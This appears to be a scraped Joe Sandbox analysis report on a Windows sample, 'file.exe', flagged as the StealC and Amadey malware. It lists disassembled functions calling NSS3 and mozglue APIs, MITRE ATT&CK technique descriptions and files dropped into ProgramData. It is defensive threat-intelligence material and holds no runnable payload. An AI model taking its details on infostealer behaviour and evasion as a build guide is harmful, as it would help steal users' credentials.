Opcode Fuzzy Hash: 2919f926be5ba0860734e910d51a15658c9ad6b3f9f8bebbfdd1564e69a3ff2c
Instruction Fuzzy Hash: 1931BBB2D042196BEB605F659D0ABFF7768EF41308F050479ED15A7781EB309909CBE1

Function 6C7D4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8}l,00000000,00000000,?,?,6C7D3827,?,00000000), ref: 6C7D4D0A

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C7D4D22

Part of subcall function 6C7BFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C761A3E,00000048,00000054), ref: 6C7BFD56

Strings

'8}l, xrefs: 6C7D4D07

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8}l
API String ID: 1521942269-3897349755
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 7d4a4bc470827734e395085ef74c22498774cfb3169535f8bb7f0e46b04ab347
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: ECF096726012256BEB104F6AEE85B4336DC9B4167DF1602B1EE2CCB781E631EC00D6E1

Function 6C7FAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C7FAF78

Part of subcall function 6C75ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C75ACE2
Part of subcall function 6C75ACC0: malloc.MOZGLUE(00000001), ref: 6C75ACEC
Part of subcall function 6C75ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C75AD02
Part of subcall function 6C75ACC0: TlsGetValue.KERNEL32 ref: 6C75AD3C
Part of subcall function 6C75ACC0: calloc.MOZGLUE(00000001,?), ref: 6C75AD8C
Part of subcall function 6C75ACC0: PR_Unlock.NSS3 ref: 6C75ADC0
Part of subcall function 6C75ACC0: PR_Unlock.NSS3 ref: 6C75AE8C
Part of subcall function 6C75ACC0: free.MOZGLUE(?), ref: 6C75AEAB

memcpy.VCRUNTIME140(6C8C3084,6C8C02AC,00000090), ref: 6C7FAF94

Strings

SSL, xrefs: 6C7FAF73

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 9e23ffc141885e542a3c237fae4f16f02e082ab018340a8b875ac4005f4e7381
Instruction ID: ed35591bbc906a2415586c0df69c404f842532dd926013f7cd98091b3530b000
Opcode Fuzzy Hash: 9e23ffc141885e542a3c237fae4f16f02e082ab018340a8b875ac4005f4e7381
Instruction Fuzzy Hash: 84214DB3205A489ADB30EF51A7873A27AB4B30274DB105428C1784BB24D731AA0BDFD6

Function 6C750F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B

Part of subcall function 6C751370: GetSystemInfo.KERNEL32(?,?,?,?,6C750936,?,6C750F20,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000), ref: 6C75138F

PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

Part of subcall function 6C751110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C750936,00000001,00000040), ref: 6C751130
Part of subcall function 6C751110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C750936,00000001,00000040), ref: 6C751142
Part of subcall function 6C751110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C750936,00000001), ref: 6C751167

Strings

clock, xrefs: 6C750F20

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 9da97b62c126463ac00e96739ff8974a7cf3c0191b4e30c3d8f1935afb96cbe2
Instruction ID: 9cfc7d8bb36fc7d096181ab739eef341dada0478e315afa783e66b7407c3ba76
Opcode Fuzzy Hash: 9da97b62c126463ac00e96739ff8974a7cf3c0191b4e30c3d8f1935afb96cbe2
Instruction Fuzzy Hash: AFD0223120010413C2202B6B9D4CB9AB2ACD7C32BFF401873E00C01E404E2890FAD2E5

Function 6C7C0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C7C0DF5
TlsGetValue.KERNEL32 ref: 6C7C0E2D
TlsGetValue.KERNEL32 ref: 6C7C0E58
TlsGetValue.KERNEL32 ref: 6C7C0E84

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 73b33471772388a80812ffa4d88aa8c997adb9fc5dc154db2199d1fcebe31f3e
Instruction ID: 81e6238661f6cb21b4621a7dbed458edf6e7b37237cee3632b6f6975e6dcfdcf
Opcode Fuzzy Hash: 73b33471772388a80812ffa4d88aa8c997adb9fc5dc154db2199d1fcebe31f3e
Instruction Fuzzy Hash: 7631E3F07843828FDB10BF78C6886697BB8BF0530CF514639D89887A11EB349495CBC2

Function 6C71A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C71A468,00000000), ref: 6C71A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C71A468,00000000), ref: 6C71A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C71A468,?,6C71A468,00000000), ref: 6C71A545
memcpy.VCRUNTIME140(00000001,6C71A468,00000001,?,?,?,6C71A468,00000000), ref: 6C71A57D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 4b189640b682b0a1e6192ba2b9fdafe6ff5bbadc3a3a88bdbe60b9d526ef2ca6
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: E7110AB3D0831557DB108DB99D81AEB77E99F95278F2C0634ED2487780F639994883E1

Function 6C7C0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C762AF5,?,?,?,?,?,6C760A1B,00000000), ref: 6C7C0F1A
malloc.MOZGLUE(00000001), ref: 6C7C0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7C0F42
TlsGetValue.KERNEL32 ref: 6C7C0F5B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 51089c0da17b82e5e633f70a82bdd015dffebe2310faef80b86f8ea6973cba5a
Instruction ID: 1d32fa1e943155655fef95cafb90145be2d02e88ac14bc32a48ca29c1dc98221
Opcode Fuzzy Hash: 51089c0da17b82e5e633f70a82bdd015dffebe2310faef80b86f8ea6973cba5a
Instruction Fuzzy Hash: F101B9F1B002915FE721277E9F489567BACEF5239DF050531E81882A11EB20D595C6E3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBKFIECBGDHJKECAKFBGDHJKEC

C:\ProgramData\EHCBAAAFHJDHJJKEBGHI

C:\ProgramData\FCFBAKJD

C:\ProgramData\GHJDBAKEHDHDGCAKKJJE

C:\ProgramData\JKEGHDGHCGHDHJKFBFBK

C:\ProgramData\KECFIDGCBFBAKEBFBKFBFBAFII

C:\ProgramData\KKEHIEBK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre